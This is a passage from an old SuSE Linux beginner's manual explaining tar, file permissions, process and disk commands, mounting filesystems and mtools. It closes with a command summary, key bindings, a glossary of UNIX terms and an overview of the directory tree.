   `tar` unpacks (`x`) the compressed (**`z`**) archive `archiv-file.tgz` (`f`) and assigns necessary subdirectories as well. Each file that is extracted is put to standard output (**`v`**).
2. Creating archives

   ```
   newbie@earth: > tar cvfz archive-file.tgz file1 dir1
   ```

   `tar` creates (`c`) the compressed (**`z`**) archive **`archive-file.tgz`** (`f`), where `file1` and all files in `dir1` are contained as well. Each file that is packed is put to standard output (**`v`**).
3. Viewing the archive

   ```
   newbie@earth: > tar tfz archive-file.tgz
   ```

   `tar` shows a table of contents (`t`) of the compressed (`z`) archive archiv-file.tgz (`f`).

Flag `z` tells **tar** to create/unpack compressed archives using **GNU zip** (**`gzip`**).

```
newbie@earth: > tar xvf archive-file.tar
```

unpacks the uncompressed `archive-file.tar`. More information can be found by using

```
newbie@earth: > info tar
```

19.9 Permissions

Only the user `'root'`, being the system administrator, has unrestricted permissions to all files. Permissions are structured into three categories:

- Owner permissions
- Group permissions
- "All others" permissions

Each of these categories is represented by three characters. In conjunction with the first character (file type: d, l, or -), this results in a total length of ten for the permissions flag field. Each flag is represented by a certain character. The possible flags for all three categories are the same. Reading `'r'`, Writing `'w'` and Executing `'x'`. If a flag is not set, there is a `'-'` instead of the flag. As an example, look at the file *linux.info*:

```
-rw-r-xr--   1 newbie users  29524 Jun 29 13:11 linux.info
```

Figure 19.1: Overview on file permissions

This file can be read and written by the owner (`newbie`). All members of the group `users` are allowed to read and execute it. All other users are allowed only to read it. '`-`' in the first position indicates that this is a "normal" ☞*file*.

The same applies to directories. If the given file is a directory, there is a '`d`' in front of the nine characters (d stands for directory). This might look like:

```
drwxr-xr--   3 newbie users  1024 Jun 29 13:11 info/
```

'`x`', in this case, means that the user is allowed to **cd** into this directory.

19.9.1 Changing permissions

You can change permissions with the **chmod** command (change mode). The main options **chmod** needs are the permissions to be changed and a filename.

The three categories of permissions are represented by '`u`' (user), '`g`' (group, and '`o`' (others). These are followed by the corresponding permissions to be changed. A '`+`' or a '`-`' means adding or removing the corresponding permissions flag. For example:

```
newbie@earth: > chmod g+rwx linux.info
```

sets permissions of the file `linux.info` to readable, changeable and executable for group members:

If permissions for all categories should be set, then giving the permissions to be changed is alone sufficient. The following command sets permissions to `linux.info` so nobody has write permissions:

```
newbie@earth: > chmod -w linux.info
```

The permissions concerning reading and executing are not involved. You can give permissions and remove them within a single command line. The next command sets the permissions of `linux.info` to executable, not readable, and not changeable:

```
newbie@earth: > chmod u+x-rw linux.info
```

Look at the result:

```
newbie@earth: > ls -l linux.info
  ---xr-xr--   1 newbie users  29524 Jun 29 13:11 linux.info
```

In connection with **chmod** are the two commands **chgrp** (change group) and **chown** (change owner). See the respective man pages for more information on these commands.

19.10 Manual pages

Information about commands, configuration files, and C libraries can always be found by using the corresponding man pages. See table 19.4. Here, "keyword" is usually the command name or filename about which you need information.

man -k <**keyword**>	Searches for <keyword> and lists the man page found.
man -f <**keyword**>	Searches for <keyword> in all man page sections and lists the man pages found.
man <**keyword**>	Invokes the man page for <keyword>.
man <**section**> <**keyword**>	Invokes the man page for <keyword> from <section> (e. g., **man** from section 1).

Table 19.4: Invoking the **man** command

If you have S.u.S.E. help installed, all man pages are available here as well. If you are using the X Window System, you may find the program **xman** of some use, but **man** is much faster.

In table 19.5, you can see the different man page sections.

1	Describes user commands. Some of these are built in commands.
2	System calls of libraries.
3	C library functions.
4	Description of configuration files.
5	Syntax of important files.
6	Description of games.
7	Anything that covers text, text formats etc.
8	System administrator's commands.
9	Description of Linux kernel routines.
n	**n** is supposed to derive from "new". Here, other man pages are listed that belong to another section but have been placed here for reasons of convention or which do not fit in one of the other sections.

Table 19.5: Man page sections

Please notice that there is *not* a manual page for every command. If you do not find the information you are looking for in the man pages, look further in /usr/doc (e. g., /usr/doc/howto, /usr/doc/howto/mini, or /usr/doc/packages).

19.11 System information

Sometimes it is important to gather information about the system's state. The commands **`df, free, top, ps`** help with this.

19.11.1 The `df` command

`df` outputs information on the used and occupied hard disk space. Output is given as shown in screen output 19.11.1.

```
Filesystem 1024-blocks    Used Available Capacity Mounted on

/dev/sda4       699392  659258      5165      99% /home
/dev/sda1       102384   23955     73310      25% /
/dev/sdb1      2097136 2070485     26651      99% /usr
/dev/sda3       126976  106908     20068      84% /opt
```

Screen output 19.11.1: Output of **`df`**

19.11.2 The `free` command

`free` gives information on RAM and swap usage.

```
             total  used  free shared buffers cached
Mem:         30900 29272  1628  25608    1012   6412
-/+ buffers:       28260  2640
Swap:        66524   176 66348
```

Screen output 19.11.2: Output of **`free`**

19.11.3 The `w` command

`w` shows all currently active users on your system. This command outputs an informative list showing you all users, how long the system has been running, its load and what applications each user is currently using.

19.11.4 The `du` command

`du` gives information on the space that is used by subdirectories and single files. More can be found under manpage of **`du`** (**`man du`**).

19.11.5 The `kill` command

Sends signals to currently active *processes* (☞*process*). Expects a process number (PID) as an argument. This PID can be obtained by **`ps`** (see section 19.11.6). **`kill`** is invoked:

```
earth: # kill <pid>
```

```
11:19pm up 9 days, 11:13, 13 users,  load average: 3.26, 2.80, 2.67
User    tty   from             login@ idle JCPU PCPU what
root    tty2                   2:09pm 9:10              -bash
root    ttyp1 :0.0             2:11pm    2    4    2  xdvi -s 3 Li
root    ttypa :0.0            11:19pm                  w
root    tty1                   2:07pm 9:08   50        (startx)
newbie ttyp0 earth.cosmos.com 11:37am   11    2    2  -bash
root    ttyp3 :0.0             3:24pm         4        rlogin helios
newbie ttyp2 earth.cosmos.com  3:22pm    1   46    2  -bash
root    ttyp4 :0.0             3:27pm 1:48    8        bash
root    ttyp5 :0.0             5:40pm    5    1    1  telnet earth
newbie ttyp6 venus.cosmos.com 3:53pm    3    5    5  -bash
root    ttyp7 :0.0             4:25pm 6:05              bash
newbie ttyp8 helios.cosmos.com 9:37pm 1:30    1        telnet earth
newbie ttyp9 helios.cosmos.com 9:50pm 1:27             -bash
```

Screen output 19.11.3: Output of **w**

If the corresponding process fails to catch the signal, it can be killed by giving the optional parameter `-9`. Entering:

earth: # kill -9 <pid>

definitely kills PID <pid>.

19.11.6 The `ps` command

`ps` (process status) shows the processes started by the user. More information on this command can be obtained in manpage of **`ps`** (**`man ps`**). **`ps`** shows information on running processes of the other users as well. Using the process ID (displayed by **ps** in the 1st row), it is possible to kill running processes (see section 19.11.5).

19.11.7 The `pstree` command

`pstree` shows the whole *process tree*. This is shown in screen output 19.11.4.

19.11.8 The `top` command

Outputs all running processes and their loads and much more. This list is updated periodically. You can end it using q .

19.12 Filesystem types under Linux `mount` and `umount`

19.12.1 Dateisysteme

There are a a number of ☞*file systems* available under Linux. These are shown in table 19.6.

```
init-+-bash---startx---xinit-+-X
     |                       `-sh---fvwm-+-FvwmPager
     |                                   |-FvwmWinList
     |                                   |-GoodStuff
     |                                   |-xclock
     |                                   `-xeyes
     |-color_xterm---bash---xdvi.bin---gs
     |-2*[color_xterm---bash---vi]
     |-color_xterm---bash---pstree
     |-coolmail---coolmail---xterm---pine
     |-cron
     |-gpm
     |-inetd
     |-kflushd
     |-klogd
     |-kswapd
     |-5*[mingetty]
     |-4*[nfsiod]
     |-sh---master---slipto
     |-syslogd
     |-update
     |-xload
     `-xosview
```

Screen output 19.11.4: Output of **pstree**

ext	*Extended Filesystem*: ancestor of the ext2 filesystem and without any significant meaning nowadays.
ext2	*Second extended Filesystem*: standard Linux filesystem.
msdos	The DOS filesystem.
ffs	*Fast Filesystem*: a filesystem used on Amigas.
hpfs	*High Performance Filesystem*: the **IBM OS/2** standard filesystem—only supported in read-only mode.
iso9660	Standard filesystem on CDROMs.
minix	This filesystem has its origin in academic projects on operating systems. It was the first file system used for Linux. Nowadays, it is used as a filesystem for floppy disks.
ncpfs	Filesystem for mounting Novell volumes.
nfs	*Network Filesystem*: Here, data can be stored on any machine in a network and access may be granted via a network.
proc	Process filesystem (virtual).
smb	*Server Message Block*: used by products such as **WfW**, **Windows NT** and **Lan Manager** for making files accessible over a network.

Table 19.6: to be continued...

sysv	Used on **SCO UNIX**, **Xenix** and **Coherent** (commercial UNIX systems for PCs).
ufs	Used by **BSD**, **SunOS** and **NeXTstep**. Only supported in *read-only* mode.
umsdos	*UNIX on MSDOS*: applied on top of a normal fat filesystem. Achieves UNIX functionality (permissions, links, long filenames) by creating special files. Slow but required for demo mode.
vfat	*Virtual FAT*: extension of the fat file system (supports long filenames).
xiafs	An old filesystem that is hardly used any more.

Table 19.6: Filesystem types under Linux

19.12.2 Mount and unmount filesystems

Via the command **mount** (which can only be invoked by 'root'), a storage media can be linked into the Linux filesystem tree. Two arguments are required by **mount**:

- name of the device (corresponds to the device's name, e. g., /dev/hda3)
- where it should be attached (mounted).

Option **-t** <**filesystem type**> passes the type of the filesystem (see table 19.6).

```
earth:/ # mount -t msdos /dev/hda2 /dosa
```

makes the DOS partition /dev/hda2 available on /dosa.

Passing the **-r** option mounts it read-only. Now, writing on this filesystem will not be allowed.

Invoking **mount** alone protocols the mounted partitions. The protocols can be seen in /etc/mtab. If **mount** is invoked without any argument, the contents of this list are displayed on the screen, showing all mounted filesystems.

umount

umount removes a partition from the available filesystems.[4]

You can pass either the name of the device or the name of the directory where it is mounted as an argument to **umount**. So, for removing /dev/hda2 which is mounted under /dosa you can enter either of:

```
earth: # umount /dosa
earth: # umount /dev/hda2
```

[4] This command used to be called unmount but the 'n' got lost somewhere in UNIX history.

It is important (if you have mounted a diskette) to execute **umount** *before* you remove the diskette, since all files are not yet necessarily written and you could lose data!
If there are opened files on this device, **umount** will try to write them. Otherwise, it produces an error message. The directory on which the filesystem is mounted cannot be the working directory for any user.
If there are still users working (e. g., in a shell) on this path, the filesystem cannot be unmounted.

19.13 The mtools

For using MS-DOS filesystems either on diskette or HD, **mtools** (in package `mtools`, series `ap`) are at your disposal. Each of these little programs tries to emulate the corresponding DOS command as good as the original, or even possibly better. All **mtools** commands are named after their DOS equivalents.

You can only use **mtools** commands if the diskette (or HD) is *not* mounted!

DOS filenames are normally constructed by a device letter followed by a colon, a subdirectory, and the respective filename.

For separating on DOS, only the '`\`' is used. With **mtools**, you can use either the '`/`' or the '`\`'.

If you use '`\`' or ☞*wildcards*, they have to be put into quotation marks, since, otherwise, they will be misinterpreted by the command line interpreter (e. g., **bash**).

An asterisk '`*`' in **mtools** corresponds to '`*.*`' on DOS. Instead of using a '`/`' for passing parameters, you have to use the '`-`'.

The standard device for **mtools** is '`A:`'. If another one must be used, you must change to it by typing **`mcd`**. Don't forget to go back to the "root" directory of the device, since otherwise, no directory tree can be read.

The **mtools** commands currently supported are shown in table 19.7.

`mattrib`	Change DOS file attributes (`hidden`, `system`, etc.).
`mcd`	Change to another directory.
`mcopy`	Copy from DOS to UNIX. Remember not to forget the target.
`mdel`	Delete a DOS file.
`mdir`	List a DOS directory.
`mformat`	Assign a DOS filesystem to a *low-level formatted* disk. (Low-level formatting is done via the command **fdformat**).
`mlabel`	Rename a DOS device.
`mmd`	Create a DOS subdirectory.
`mrd`	Delete a DOS subdirectory.
`mread`	Read (*low-level*) a DOS file into UNIX.
`mren`	Rename an existing DOS file.

Table 19.7: to be continued...

mtype	Show contents of a DOS file.
mwrite	*Low-level* copy a UNIX file to a DOS filesystem.

Table 19.7: package `mtools` commands

Disk formats that are supported are: 720 KB, 1.44 MB, or 360 KB, and 1.2 MB. Device `A:` is set to a 3.5” device, and device `B:` to 5.25”.

These default settings can be changed in `/etc/mtools`. They are structured into one line as follows:

- name of the drive (under DOS), e. g., `a:`
- device file (Linux), e. g., `/dev/fd0`
- fat_bits (12 for floppy disk drives)
- number of tracks, heads and sectors

By changing these parameters, you can use two 5.25” disk devices. You should not enter the same DOS device letter or device name twice. See manpage of **mtools** (**man mtools**) for more information.

19.14 Linux command summary

cd directory	changes to given directory
cd ..	changes to parent directory
cd /directory	changes to directory
cd	changes to user's home directory
cp file_from file_to	copies files
ln [-s] source linkname	creates the symbolic link `linkname` in the current directory to `source`. `linkname` gives the path where the file can be found. Only symbolic links can be created across different filesystems. Even directories can be linked via “symbolic links”.
ls [directory]	lists contents of `directory` (brief)
ls -l [directory]	lists contents of `directory` (detailed)
ls -a [directory]	lists even hidden files (e. g., `.xinitrc` in your home directory)
mkdir new_directory	creates a new `directory`
more file	pages through a file (page down using [space], page up using [b])

Table 19.8: to be continued...

mv file_from file_to	moves or renames a file
rm file	deletes file
rm -r directory	recursively deletes directory.
rmdir directory	deletes directory (if empty)

Table 19.8: Overview of the most important Linux commands

`'find . -name' "file"`	searches all subdirectories of the current directory for `file`.
`'find . -name' "*emil*"`	searches for files containing the string `'emil'`.
`'man command'`	gives you the manual page for **command**.
`'grep string files'`	searches all `files` for the given `'string'` which can contain ☞*regular expressions* as well (see section 19.8.2 or **man regexp**).

Table 19.9: Overview of search commands

19.15 And now?

The general directories for most executables on Linux are:

- /bin
- /sbin
- /usr/bin
- /usr/sbin
- /usr/X11R6/bin

The command **man** <**command**> gives you detailed information about the given command (see section 19.10) and programs (provided a manual page exists). Output is directed to standard output (which, normally, is your screen).

You can redirect output by means of *pipes* ('|') to a printer or file.

This is achieved by entering:

```
newbie@earth: > man -t ls | lpr
```

Thematically sorted introductions about manual pages are found in the hypertext help system of your SuSE Linux system. Just enter **hilfe**. Here, other hypertext links to manual pages can also be found.

Appendix **A**

Important keys

A short summary of helpful and important keys.

Enter	Executes a command on the command line; otherwise, a linefeed.
Alt + F1 - F6	Change to another console (in text mode).
Ctrl + Alt + F1 - F6	Under X11 and Dosemu: change to one of the text consoles.
Alt + F7	Switch from a text console back to X11.
Ctrl + Alt + Backspace	Exit X11.
Shift ⇑ + Page ↑	Shows previous screens on console. Works until consoles are switched.
Shift ⇑ + Page ↓	Opposite of Shift ⇑ + Page ↑ .
↑	Displays the previous commands on the command line.
↓	Just the opposite of ↑ (in the shell).
Shift ⇑ + Alt + Cursor	X11: Change to the next virtual desktop (in the direction of the cursor). The number of virtual desktops is set in `.fvwm[2]rc` with the parameter "DeskTopSize".
Ctrl + Alt + ±(grey)	Changes the screen resolution according to entries in *XF86Config*.
Ctrl + D	Log out. Corresponds to **`exit`**. EOF (end of file). Affected by entry in `/etc/profile`: **`ignoreeof=x`**. Here, **`x`** indicates how many times command can be repeated until executed.

Table A.1:

Appendix B
Glossary

We have limited our glossary to **UNIX** and Linux specific terms, since a complete introduction to electronic data processing is beyond the scope of this book. The reader of this glossary should already be familiar with terms such as *bits* and *bytes*.

ATAPI

ATAPI is a type of CD-ROM drive that is connected to an (E)IDE controller. Apart from ATAPI drives, there are SCSI CD-ROM drives, that are handled by a SCSI controller and proprietary CD-ROM drives that use their own controller or are connected to a sound card.

Account

Combination of *login* and *password*. In general, the user account is created by the ☞*system administrator*. He also assigns one or more groups to the user, as well as the resulting permissions. Creating an user account normally includes assigning a ☞*home directory* and the delivery of ☞*email*.

Acronym

Quite often abbreviations are called acronyms. ☞*Linux*, ☞*FTP* and ☞*GNU* are well-known acronyms.

Alias

This expression is often used in connection with ☞*shells*. An alias lets you abbreviate often used commands. See also ☞*Shell*.

Background process

If your ☞*Shell* is apparently only occupied with one process, this is called its *foreground* process. Most shells also offer the ability to run processes in the background.

If you want to run a process in the background, you have to attach a '`&`' at the end. A ☞*multitasking* operating system such as Linux is required in order to run background processes.

Backup

Backups should be done regularly, especially the important files! Even some configuration files that have been created with difficulty are worth being backed up. The Linux-specific backup command is **tar**. It backs up the files to a ☞*device* or filename. Quite often **tar** is used in combination with **gzip**.

Base-Linux

When you install Linux for the first time, the base-Linux has to be brought up first. It works without the hard disk which is not accessible at this time. Its kernel is on the boot disk or on CD-ROM. The root image (also on CD-ROM or on the boot disk) is loaded into a RAM disk. The other programs (e. g., YaST) are also loaded into RAM disk.

After the first login, you start YaST and prepare for installation of the "real" Linux.

BIOS Basic Input Output System

Every PC includes a little memory area that contains the BIOS. This is a system of programs for executing basic operations connected to the hardward such as memory check and recognizing hard disks. On Linux, the BIOS is not active, since it runs in real mode, and is switched off by the kernel at boot time. The Linux ☞*kernel* provides much better capabilities than the BIOS.

Booting

Booting is the sequence of computer operations from power-up until the system is ready for use. On Linux, this entails loading the kernel which can be seen by the message `"uncompressing linux..."` and which ends with the `'login:'` prompt.

Buffer

A buffer is a sort of intermediate memory which enables you to speed up access to data being moved between different media and devices that operate at different speeds. On Linux, there are many buffers.

Command line

Working with UNIX in a shell is command line oriented. This, in particular, means that any process you enter in a ☞*shell* can have its own command line (e. g., the command **ls** can take a lot of options to change its behavior).

Console

In former times, this was synonymous with *terminal*. On Linux, you have *virtual consoles*. This enables you to use one screen for many independent running sessions. In standard ☞*run level* 2, you have six virtual consoles which can be reached by pressing Alt + F1 to Alt + F6 . From within a running X Window System,[1] you reach the text consoles by pressing Ctrl + Alt + F1 to Ctrl + Alt + F6 .

[1] which uses either console 7 (run level 2) or console 3 (run level 3)

CPU Central Processing Unit

The computer processor. Intel x86 processors can be run in many different modes. Here, we want to distinguish between two of them:

- Real mode: the "original" mode using a segmented memory protocol. This is slow, antiquated and limited to 16 bit software.
- Protected mode: (available from 386 onwards). Mode with linear memory model. Only this mode uses the full power of the CPU. Linux runs only in protected mode.

By the time of writing this book, Linux exists for the following processor architectures: Intel x86, DEC alpha, Motorola m68k, Sparc, PowerPC, MIPS, ARM.

Cursor

The cursor is normally a block character which marks the place for input on a computer screen. On Linux, this term occurs in:

- Shell/editor: a spot marked with a rectangle or flashing line showing where the next entry will occur. In the shell, the cursor is right of the ☞*Prompt*.
- Mouse cursor under X: depending on the background, it changes its shape. For example, an arrow in an **xterm**, X-shaped on the root window or I-shaped in an ☞*editor* buffer.
- GPM cursor (console): a one character block which can be positioned on the console by means of the mouse. It can be used for cut and paste. See (☞*Selection*).

Directories

Build a ☞*filesystem* structure. In a directory, files or other directories are listed. You say a ☞*file* `'x'` lies in directory `'y'` if its name is listed in this directory. Because there are branches of subdirectories within other directories, this is often referred to as a ☞*directory tree*. If you want to see another directory, you can change into it. Files are considered the leaves of the directory tree which cannot (quite logically) contain any more subdirectories (branches). Directories follow the same restrictions as files. The special directories `'.'` and `'..'` refer to the directory itself and to its parent directory in filesystem hierarchy.

Editor

Editors are programs for changing text (e. g., by entering text). Well-known editors on Linux are **GNU Emacs** (**`emacs`**) and the UNIX editor **vi**.

Email electronic mail

The means of transporting mail electronically between registered users via a network, Similar to "normal" mail (often referred to as "snail mail"), the address has to be entered as "sender@senders-domain" to "recipient@recipients-domain". Email not only lets you send text, but sound documents and pictures. Email has many advantages: it is quite cheap and mail normally reaches its destination within minutes.

Environment

A ☞*shell* normally provides some kind of environment where the user can temporarily set options such as paths of programs, the user name, the current path, prompt shape and so forth. This data is stored in an ☞*environment variable*. These variables can be assigned, e. g., by the shell's configuration files.

Environment variable

A storage location in the ☞*environment* of the ☞*shell*. Every variable consists of a name (which is usually written in upper case) and a value (e. g., pathname). If you use the **bash** shell, this is done:

root@earth:/ > `export EDITOR=emacs`

By invoking **env**, you can get a list of the variables set. If a variable is needed (e. g., in a shell script), it is dereferenced by attaching a $ to the beginning of its name. Important environment variables are **$HOME** (path to user's home directory), **$SHELL** (shell path), **$USER** (user name), **$PATH** (path list to search for executables), **$MANPATH** (path list to search for man pages).

EXT2 second extended filesystem

EXT2 is the native filesystem used by Linux. It offers a high throughput, long file names, permissions, and error tolerance.

File

On Linux, a file is the central concept for handling data. As with other systems, files serve for writing data onto mass storage media. The file name has to be unique in its directory, By means of a ☞*filesystem*, these files can be hierarchically structured. See other topics on files in this glossary.
In addition, there are special files on Linux. See ☞*link*, ☞*device* and ☞*proc*.

Filesystem

A filesystem is a system for structuring files. There are many filesystems available which differ (sometimes extremely) in their performance and power. Some filesystems are strictly tied to certain media. One cannot easily say "Linux uses filesystem 'X"'. A list of supported filesystems can be found in section 13.4.12.

Focus

Under X, a control item, e. g., the command line of a ☞*terminal*, has the focus if the actual input is directed to it. For the most part, the focus is usually connected with the ☞*cursor*. The way a window manager manages the focus is called *focus policy*. You can differentiate between a focus that follows the mouse or a focus that has to be set by clicking the mouse.

FTP file transfer protocol

FTP is a means under UNIX for transferring files from one machine to another. There is the FTP server (the machine which sends the files) on one side, and the FTP client (which receives the files) on the other.

GNU

GNU stands for *GNU is Not Unix* and is a product of the **Free Software Foundation (FSF)** whose aim it is to provide a completely free (source code available at no cost) UNIX compatible operating system. In this process, any UNIX tools are completely rewritten and new functionality is added. Linux benefits from these tools but should not be confused with it.

Graphical User Interface

A GUI is a graphical representation of a normal desktop. Whereas you lay different papers onto a normal desktop, here these "papers" are called ☞ *windows*. You can put as many of these windows on your desktop as you like. Each different process runs in a separate window. A GUI is normally controlled via a mouse, trackball or something similar. Some well-known GUIs are the ☞*X Window System*, **Apple Macintosh System 7**, **Digital Research GEM**, and **MS-Windows**.

Home directory

The home directory is the starting point for most user activities on the machine. The user generally puts their private files here. Besides the ☞*system administrator*, the user is the only one who has access to this directory. The location of the home directory in the filesystem on **UNIX** is given by the ☞ *environment variable* **$HOME**.

Interface

Generally speaking, an interface is a device where different systems exchange information in any way. An example of such an interface is a keyboard where man and machine meet. This is rather abstract. Some other interfaces are much more concrete:

- *Hardware interface*: for connecting peripheral devices such as a parallel port, SCSI or serial interfaces.
- *Software interface*: assigns how programs should communicate. See ☞*protocol*.
- *User interface*: here, people and machine exchange data using, e. g., mouse, monitor and keyboard.

Internet

The Internet is a worldwide heterogeneous ☞*network* (i.e., it consists of a lot of different machines). Machines are accessed via their ☞*IP addresses* (IP = Internet Protocol) which are unique. These IP addresses are structured in a hierarchical manner. There are top level and national domains, domains, subdomains and each machine's address. Besides the numerical IP address (like `192.168.0.1`), there are aliases (like `helios.cosmos.com`) which simplify the IP address for the user. It is not only the ☞*hardware* layer that keeps the Internet up but also a system of ☞ *protocols* (e. g., FTP, HTTP, TCP) on definite logical layers. Well-known services of the Internet are ☞*email* and the World Wide Web (WWW or W3). A very important keyword in connection with the Internet is "Netiquette" which attempts to make sure that everything runs in order. This can be regarded as a form of voluntary self-control.

Inode

The ☞*EXT2* filesystem uses inodes for organizing information on files. Inodes contain information such as the owner of its file, permissions, etc.

LAN local area network

A LAN is a local ☞*network* which means that it is rather small and generally supervised by one ☞*system administrator*. LANs are frequently connected to other LANs via a gateway thus forming a ☞*WAN*.

Main memory

This is often referred to as RAM or Random Access Memory. RAM access is very fast in comparison to hard disk access. On Linux, this ☞ *memory* is often referred to as physical memory.

Mass storage media

A collection of different media for storing data.

Typical mass storage media are diskettes, hard drives, tapes, CD-ROMs, magneto-optical disks, holographic media and many more.

Memory

The memory is the brain of your machine. On Linux, one often refers to two different types of memory:

- *Physical memory*: this is made up of a number of memory (RAM) chips. The size varies from 8 MB up to 128 MB on the typical PC. High performance computers may have 1 GB or more.
- *Virtual memory*: by means of virtual memory, the system can consider certain ranges of the disk as (☞*swap*) memory.

Menu

On ☞*graphical user interfaces*, functions and actions of an application can be reached via a menu. Menus offer all available commands and options (just in a restaurant), so the user can choose any of them. Normally, there is a menu bar with submenus that drop down from it. Moreover, there may also be popup menus which can be invoked, e. g., with a button or a mouse click.

Mount point

A mount point is the directory where a partition or another device is attached to the Linux filesystem.

Multiprocessing

If your machine works with more than one ☞*processor*, this is called a multiprocessor or multiprocessing system. On Linux, you will encounter the term SMP which stands for *symmetric multi processing* and is a special form of multiprocessing.

Multitasking

Operating systems that can invoke more than one ☞*program* simultaneously are called multitasking systems. There are two forms of multitasking:

- Preemptive multitasking: the operating system is responsible for sharing CPU time between processes.
- Cooperative multitasking: the processes themselves give back CPU time.

As you can see the first variant is the better one, since no process can then block the entire CPU. Linux offers real preemptive multitasking.

Multiuser

☞*Multitasking* is required if more than one person wants to work on the same machine. An operating system that offers this capability is called a multiuser system.

Network

A network is a functional connection between different computers. There are different types of networks, depending on how the machines are connected, e. g., ring, star, bus and tree. Some well-known hardware standards for networks are Ethernet, Token Ring and ISDN. Some important networking software protocols are (on different layers) TCP, UDP and IPX, among others.

Operating system

The operating system is a process running permanently and in the background which enables basic operation of the computer. Tasks of an operating system are the management of all machine specific resources. On Linux, this is done by the ☞*kernel* and perhaps some modules. Well-known operating systems include **Linux**, **AmigaOS**, **MacOS**, **OS/2**, **UNIX**, **Windows NT** and **Windows 95/98**.

Path

Via its path, a ☞*file* is unambiguously assigned to a ☞*filesystem*. In UNIX, the different layers are separated by a "slash", '`/`'. There are two sorts of paths:

- *Relative path*: the position of a file or directory is relative to the current path.
- *Absolute path*: the position of a file is described relative to the ☞*root directory*.

Pipe

A pipe stands for connecting the standard output of a program ☞*process* with the standard input (☞*standard in/out*) of a successor process. This avoids having to write temporary files for further processing. In shell mode, the processes to be “piped” are entered one after another separated by a pipe ‘|’ (ASCII 124).

Process

A process is a program or an executable file “living” variant (see ☞*Shell*). Often, it is referred to as a task.

Prompt

Within a text ☞*shell*, the place where the user can type commands to the ☞*operating system* is referred to as the prompt. The prompt might contain the user’s name, the machine’s name, current time and certain other data. Most of the time, the ☞*cursor* stands directly after the prompt. If the prompt reappears after a command, this shows that the system is ready for more input.

Protocol

Protocols organize either on hardware or software the communication between the different machines in ☞*networks*. They assign the format of the transferred data, which machines control a machine, etc. Well-known protocols include FTP, UDP, TCP and HTTP.

ROM Read-only Memory

A CD is a good example of a ROM.

Reset

If the machine hangs and does not respond to keystrokes, it might be trapped in an endless loop. The only solution to such a problem is to bring the machine back to a defined state. This is called a reset. After a reset, the machine is in exactly the same state as when it is started. A reset should always be preferred to a power-down, as this is less stressful on the electronic components.

IMPORTANT! As you might guess, after a reset all data that resided in the computer’s ☞*RAM* is irrevocably lost!

Rlogin remote login

Using a *remote login*, one can log into a remote machine via the ☞*Internet* as if you were sitting at its ☞*console*. If there is a ☞*X Server* running on both machines, you can even display the output of an X application on the local display provided the **$DISPLAY** variable is set correctly.

Root

See ☞*System administrator*.

Root directory

The top level directory of a ☞*filesystem*. In contrast to all other directories, there is no parent directory for the root directory. '..' for root points to itself. On UNIX, the root directory is known as '/'.

Run level

A run level describes a certain operating state of your system. The system behaves differently on different run levels. There is a run level for system administration (S), as well as a run level for the GUI of the X Display Manager (**xdm**: 3).

Selection

Selection is a mechanism of the X Server. You can mark text characters with the mouse by moving over them holding down the left mouse button and paste them to another application by moving the cursor into the appropriate window and pressing the middle mouse button. This is called "cut and paste".

Server

A server is generally a quite powerful computer that serves other machines connected via a ☞*network* and provides services or data. Besides computers, there are programs that are called servers. These programs offer (serve) services as well. An example of a software server is the ☞*X Server*.

Shell

The shell is the fundamental interface to the ☞*operating system* kernel. By means of the shell, the user can enter commands. The shell provides a command line. To make processes run automatically, most shells provide a scripting language of their own. These programs, called shell scripts, can be considered intelligent batch files. Examples of shells are: **bash**, **sh**, and **tcsh**.

Standard in/out

Every process inherits three channels where it can read and write data. These are standard input (stdin), standard output (stdout) and standard error (stderr). These channels are set to certain devices by default. Standard input is set to your keyboard, standard output and standard error to the screen. By means of the shell, these channels can be redirected. If the characters are not read from keyboard but from a file instead, this is called a redirection of standard input. In shell mode, redirection is invoked by entering '<' (stdin), '>' (stdout) and '2>' (stderr). See ☞*Pipe*.

Switch

Switches can change the (default) behavior of programs. The so-called ☞*command line* consists of the program's name and some (optional) switches.

System administrator

The person who is responsible for maintaining and supervising a complex system or network. Generally, the system administrator is the only one who has access to any corner of the system (root permissions).

Task

See ☞*Process*.

Telnet

Telnet creates a connection to a (remote) host and gives you a login on this machine, provided you have an account.

Terminal

A combination of a screen and a keyboard without computing capabilities. Also used on workstations that emulate a real terminal.

UNIX

UNIX is an operating system that is widely distributed on workstations. UNIX supports vital concepts, such as running different machines on a network. UNIX consists of a kernel, a ☞*shell* and applications. Since the mid-nineties, there has been a freeware version available for PCs: Linux.

WAN wide area network

As opposed to a ☞*LAN*, this ☞*network* connects computers that are widely separated.

Wildcards

The characters `'*'` and `'?'` are generic signs and are used as jokers or wildcards (as in a card game). The `'?'` stands for exactly one character, which may be anything. `'*'` replaces any number of arbitrary characters, even no characters. Wildcards are often used in regular expressions. For example, the command **`ls -l bild*`** lists all files in the current directory that start with "`bild`" and end with any character(s), even only `bild`.

Window

Windows are rectangular screen segments which normally are decorated by a frame. This frame normally contains decorations for changing the size, for moving the window and changing other properties of the window. To be able to work with windows, an ☞*X server* and a ☞*Window manager* have to be running.

Window manager

A window manager is responsible (among other things) for decorating your windows and provides you with certain functionality such as resizing, moving and destroying windows. It is also responsible for the look and feel of your system.

X server

Machines that run a X server can use ☞*graphical user interfaces* services provided by the ☞*X Window System*. An important task of the X server is to manage the displays. Normally, each terminal has exactly one display. The name of this display is set by the ☞*environment variable* **$DISPLAY**. The format of this variable is: <machine-name>:<displaynumber>. For example, **`earth:0`**. You need to know your display's name for ☞*rlogin*.

X Window System

A collection of programs, protocols and routines for organizing and maintaining a ☞*graphical user interface*. The X Window System (short: X) was developed as project Athena at MIT (Massachusetts Institute of Technology). Some of the big advantages of X-Windows versus other systems (e. g., MS-Windows or GEM) are its networking capabilities and its flexibility. It is, e. g., possible to run programs on other machines and redirect their output to your display while freely adapting the look and feel of your system.

Appendix C

The directory tree

C.1 Overview

The following figure shows a small portion of the Linux directory tree:

C.2 Important directories

The directory tree of your Linux system is well organized. Some important directories are:

`/`	"root" directory, start of the directory tree
`/home`	the private directories of the users
`/dev`	device files that represent the system hardware
`/etc`	important system configuration files
`/usr/bin`	publicly accessible commands
`/bin`	commands needed to start the system
`/usr/sbin`	commands reserved for the superuser
`/sbin`	commands reserved for the superuser and needed for system start
`/sbin/init.d`	scripts for system start
`/usr/include`	header files for the C compiler
`/usr/include/g++`	header files for the C++ compiler
`/usr/doc`	documentation files
`/usr/man`	manual pages
`/usr/src`	source code for the system software
`/usr/src/linux`	the kernel sources
`/tmp`	temporary files
`/var/tmp`	big temporary files
`/usr`	user commands and applications, configuration files—can be mounted *read-only*
`/var`	configuration files (linked from `/usr`).
`/lib`	shared libraries (for dynamically linked programs)
